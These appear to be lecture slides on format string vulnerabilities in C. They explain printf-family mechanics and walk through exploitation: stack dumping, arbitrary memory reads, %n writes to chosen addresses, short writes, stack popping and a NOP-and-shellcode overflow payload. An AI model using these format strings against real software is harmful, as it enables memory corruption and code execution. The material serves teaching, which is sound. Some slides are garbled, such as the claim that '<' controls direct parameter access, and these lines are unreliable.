Format String Vulnerabilities
char buf[256];
snprintf(buf, sizeof(buf), "%s", user);
buf[sizeof(buf) - 1] = '\0';
syslog(LOG_NOTICE, buf);
## BUFFER OVERFLOW VS FORMAT STRING VULNERABILITIES

<table>
<thead>
<tr>
<th></th>
<th>Buffer Overflow</th>
<th>Format String</th>
</tr>
</thead>
<tbody>
<tr>
<td>Public Since</td>
<td>mid 1980s</td>
<td>june 1999</td>
</tr>
<tr>
<td>Number of Exploits</td>
<td>a few 1000</td>
<td>a few dozen</td>
</tr>
<tr>
<td>Visibility</td>
<td>sometimes hard to find</td>
<td>easy to find</td>
</tr>
</tbody>
</table>
## Statistics

<table>
<thead>
<tr>
<th>Application</th>
<th>Found by</th>
<th>Impact</th>
<th>years</th>
</tr>
</thead>
<tbody>
<tr>
<td>wu-ftp 2.*</td>
<td>security.is</td>
<td>remote root</td>
<td>&gt; 6</td>
</tr>
<tr>
<td>Linux rpc.statd</td>
<td>security.is</td>
<td>remote root</td>
<td>&gt; 4</td>
</tr>
<tr>
<td>IRIX telnetd</td>
<td>LSD</td>
<td>remote root</td>
<td>&gt; 8</td>
</tr>
<tr>
<td>Qualcomm Popper 2.53</td>
<td>security.is</td>
<td>remote user</td>
<td>&gt; 3</td>
</tr>
<tr>
<td>Apache + PHP3</td>
<td>CORE SDI</td>
<td>remote user</td>
<td>&gt; 2</td>
</tr>
<tr>
<td>NLS / locale</td>
<td>Jouko Pynnönen</td>
<td>local root</td>
<td>?</td>
</tr>
<tr>
<td>screen</td>
<td>TESO</td>
<td>local root</td>
<td>&gt; 5</td>
</tr>
<tr>
<td>BSD chpass</td>
<td>ktwo</td>
<td>local root</td>
<td>?</td>
</tr>
<tr>
<td>OpenBSD fstat</td>
<td></td>
<td>local root</td>
<td>?</td>
</tr>
</tbody>
</table>
THE FORMAT FUNCTION

- Variable number of arguments
- One of them is the format string
- Function evaluates the format string
- Represents primitive C types as string
WHAT DOES THE VULNERABILITY LOOK LIKE?

If an attacker can provide the format string, a vulnerability exists.

Attacker can get control of the target application by carefully designing the format string.

```c
int func (char *user) {
    printf (user);
}
```
```c
int func (char *user) {
    printf ("%s", user);
}
```
THE FORMAT FUNCTION FAMILY

Few basic format string functions, several complex functions are based on this

Examples -
fprintf, printf, sprintf, snprintf
similarly, vprintf, syslog

int snprintf(char *str, size_t size, const char* format, ...)
void syslog(int facility_priority, char* format, ...)
HOW DO FORMAT FUNCTIONS WORK?

- Format string controls behavior of the function.
- Parameters are saved on the stack (pushed).
- Saved either directly (by value) or indirectly (by reference).
- Specifies the type of parameters to be printed.
WHAT IS A FORMAT STRING?

An ASCII string that contains text and format parameters

<table>
<thead>
<tr>
<th>parameter</th>
<th>output</th>
<th>passed as</th>
</tr>
</thead>
<tbody>
<tr>
<td>%d</td>
<td>decimal (int)</td>
<td>value</td>
</tr>
<tr>
<td>%u</td>
<td>unsigned decimal (unsigned int)</td>
<td>value</td>
</tr>
<tr>
<td>%x</td>
<td>hexadecimal (unsigned int)</td>
<td>value</td>
</tr>
<tr>
<td>%s</td>
<td>string (const (unsigned) char *)</td>
<td>reference</td>
</tr>
<tr>
<td>%n</td>
<td>number of bytes written so far, (* int)</td>
<td>reference</td>
</tr>
</tbody>
</table>

Examples
- printf ("The number is \x25 d\n", 23);
- printf ("The number of chars printed id %n", (int*)&x);
THE STACK AND ITS ROLE AT FORMAT STRINGS

Format function retrieves the parameters requested by the format string, from the stack.

```
printf("index %d, number %d has %08x address", i, a, &a);
```
FORMAT STRING VULNERABILITIES

A Channelling problem

<table>
<thead>
<tr>
<th>Situation</th>
<th>Data channel</th>
<th>Controlling channel</th>
<th>Security problem</th>
</tr>
</thead>
<tbody>
<tr>
<td>Phone systems</td>
<td>Voice or data</td>
<td>Control tones</td>
<td>seize line control</td>
</tr>
<tr>
<td>PPP Protocol</td>
<td>Transfer data</td>
<td>PPP commands</td>
<td>traffic amplification</td>
</tr>
<tr>
<td>Stack</td>
<td>Stack data</td>
<td>Return addresses</td>
<td>control of retaddr</td>
</tr>
<tr>
<td>Malloc Buffers</td>
<td>Malloc data</td>
<td>Management info</td>
<td>write to memory</td>
</tr>
<tr>
<td>Format strings</td>
<td>Output string</td>
<td>Format parameters</td>
<td>format function control</td>
</tr>
</tbody>
</table>
TYPICAL SITUATIONS WHERE VULNERABILITIES CAN ARISE

TYPE 1

```c
snprintf (tmpbuf, sizeof (tmpbuf), "foo: %s", user);
tmpbuf[sizeof (tmpbuf) - 1] = '\0';
syslog (LOG_NOTICE, tmpbuf);
```  

TYPE 2

```c
int Error (char *fmt, ...);
...
int someotherfunc (char *user)
{
    Error (user);
    ...
}
...
```
WHAT DO WE CONTROL NOW?

What exactly can we control?

How to extend this to get full control over the execution flow?
CRASH OF THE PROGRAM

- Simple to accomplish
- Useful to crash a daemon that dumps core, and we can hopefully extract useful information from that
- Illegal pointer accesses can cause program termination and cause it to dump core
- Simple method that'll work - `printf("%s%s%s%s%s%s%s%s%s%s%s%s")`
VIEWING THE PROCESS MEMORY

We can gather useful info from the output of the format function -
• We can find the correct offsets of the parameters

VIEWING THE STACK

We can view some parts of the stack memory by using a format string like:
printf("%08x%08x%08x%08x\n");

It displays 4 parameters from stack and displays them as 8 digit padded hex values
Sample output:
4002989c00000000 00000000 00000000 00000000

Stack dump helps in finding correct offsets for successful exploitation

VIEWING MEMORY AT ANY LOCATION

• Get the format function to display contents from a location supplied by us

printf("AAA0AAAA%08x%08x%08x%08x\n");
now, the stack pointer points into our memory, the format string!!

printf("\x10\x01\x48\x08 %08x%08x%08x%08x%08x\%s\n");
Will dump memory from 0x08480110 until a NULL byte is reached
VIEWING THE STACK

We can view some parts of the stack memory by using a format string like:
printf("%08x.%08x.%08x.%08x.%08x\n");

It displays 5 parameters from stack and displays them as 8 digit padded hex values.
Sample output:
40012980.080628c4.bff7a4.00000005.08059c04

Stack dump helps in finding correct offsets for successful exploitation.
VIEWING MEMORY AT ANY LOCATION

- Get the format function to display contents from a location supplied by us

- %s displays memory from a stack supplied address

printf("AAA0AAA1_%08x.%08x.%08x.%08x");
now, the stack pointer points into our memory, the format string !!

printf("\x10\x01\x48\x08_%08x.%08x.%08x.%08x\%s");
Will dump memory from 0x08480110 until a NUL byte is reached
OVERWRITING OF ARBITRARY MEMORY

Find instructions that modify the IP, take influence on how they modify it

We can make a program execute a legitimate instruction that transfers control to attacker supplied address

How to do this with format strings?
EXPLOITATION - SIMILAR TO COMMON BUFFER OVERFLOWS

char outbuf[512];
char buffer[512];
sprintf(buffer, "ERR Wrong command: %400s", user);
sprintf(outbuf, buffer);

"%497d\x3c\xd3\xff\xbf<nops><shellcode>"

This exceeds outbuf by 4 bytes
The function returns to our supplied address (somewhere within NOP space) and then, executes the shell code !!
EXPLOITATION - THROUGH PURE FORMAT STRINGS

Our ability to control format function behavior

Real execution control

AN IDEA

WRITE TO ARBITRARY LOCATIONS

CONTROLLING THE NUMBER WE ARE WRITING

WRITING LARGE NUMBERS

USING 4 OVERWRITES

MULTIPLE OVERWRITES WITH 1 FORMAT STRING

SINGLE FORMAT STRING (continued.)

REMEMBER %n
AN IDEA

```c
char buffer[512];
snprintf(buffer, sizeof(buffer), user); buffer[sizeof(buffer) - 1] = '\0';
```

not possible to enlarge buffer, due to secure snprintf!

SEEMS LIKE MUCH CAN'T BE DONE HERE??

REMEMBER %n
WRITE TO ARBITRARY LOCATIONS

In this program, 0xbfffc8c0 is a writable address

Supply the format string

"\xc0\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%0n"

Increasing the stack pointer until it points to the beginning of the format string

This will overwrite 4 bytes at 0xbfffc8c0 with a small integer number

Now, we can write to arbitrary addresses !!
CONTROLLING THE NUMBER WE ARE WRITING

We control the format string!
We can influence the counter (%n) by writing more or less bytes!!

int a;
printf("%10u\n", 7350, &a); /* a == 10 */
printf("%150u\n", 7350, &a); /* a == 150 */

Dummy parameter %u!

Not useful for large numbers (such as addresses)
WRITING LARGE NUMBERS

unsigned char foo[4];
printf("%64u\n", 7350, (int *) foo);

foo[0] now contains 64

for an address, we can write a byte a time, 4 times in a row!
unsigned char canary[5];
unsigned char foo[4];
memset(foo, \"\x00\", sizeof(foo)); /* 0 */ before */
strcpy(canary, "AAAA");
/* 1 */ printf("%16u%\n", 7350, (int *) &foo[0]);
/* 2 */ printf("%32u%\n", 7350, (int *) &foo[1]);
/* 3 */ printf("%64u%\n", 7350, (int *) &foo[2]);
/* 4 */ printf("%128u%\n", 7350, (int *) &foo[3]);

printf("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]);
printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]);
We overwrote all 4 bytes of foo array
But also destroyed 3 bytes of canary array
MULTIPLE OVERWRITES WITH 1 FORMAT STRING

strcpy (canary, "AAAA");
printf("%16u%n%16u%n%32u%n%64u%n", 1, (int *) &foo[0], 1, (int *) &foo[1], 1, (int *) &foo[2], 1, (int *) &foo[3]);

the padding has changed, since the counter of the characters is already at 16 when we want to write 32

This is a special case where bytes increased throughout writes
(foo is 10204080)
SINGLE FORMAT STRING (continued.)

To write 80402010

We can use counters of 0x80, 0x140, 0x220, 0x310 for %n

write_byte += 0x100;
already_written %= 0x100;
padding = (write_byte - already_written) % 0x100;
if (padding < 10)
padding += 0x100;
VARIATIONS OF EXPLOITATION

STACK POPPING

Example:

- Efficient method to remove data from the stack
- Does not require additional resources
- High performance, negligible overhead

SHORT WRITE

Advantages:

- Enables more efficient writes

Parameters:

- ptrint
- printf

DIRECT PARAMETER ACCESS

- The direct parameter access is controlled by the "<" operator
- Use stack pop technique whenever possible
**SHORT WRITE**

**ADVANTAGES**

- Possible to overwrite an address with just 2 write operations
- Does not destroy data beside the address

```c
printf("%.29010u%hn%.32010u%hn", 1, (short int *) &foo[0], 1, (short int *) &foo[2]);
```
STACK POPPING

ISSUE
If the format string is too short, then we cannot have a stack popping sequence to reach our own format string!

Demand for effective method to increase stack pointer with fewer bytes!!

Using %f parameter, we get 8 bytes ahead in the stack!

DRAWBACK: DIVISION BY ZERO

Use %.f, only the integer part of the floating point number

3:8 better that 2:4
DIRECT PARAMETER ACCESS

The direct parameter access is controlled by the ‘$’ qualifier

printf("%6$d\n", 6, 5, 4, 3, 2, 1);

NOT PORTABLE !!

Use Stack pop technique whenever possible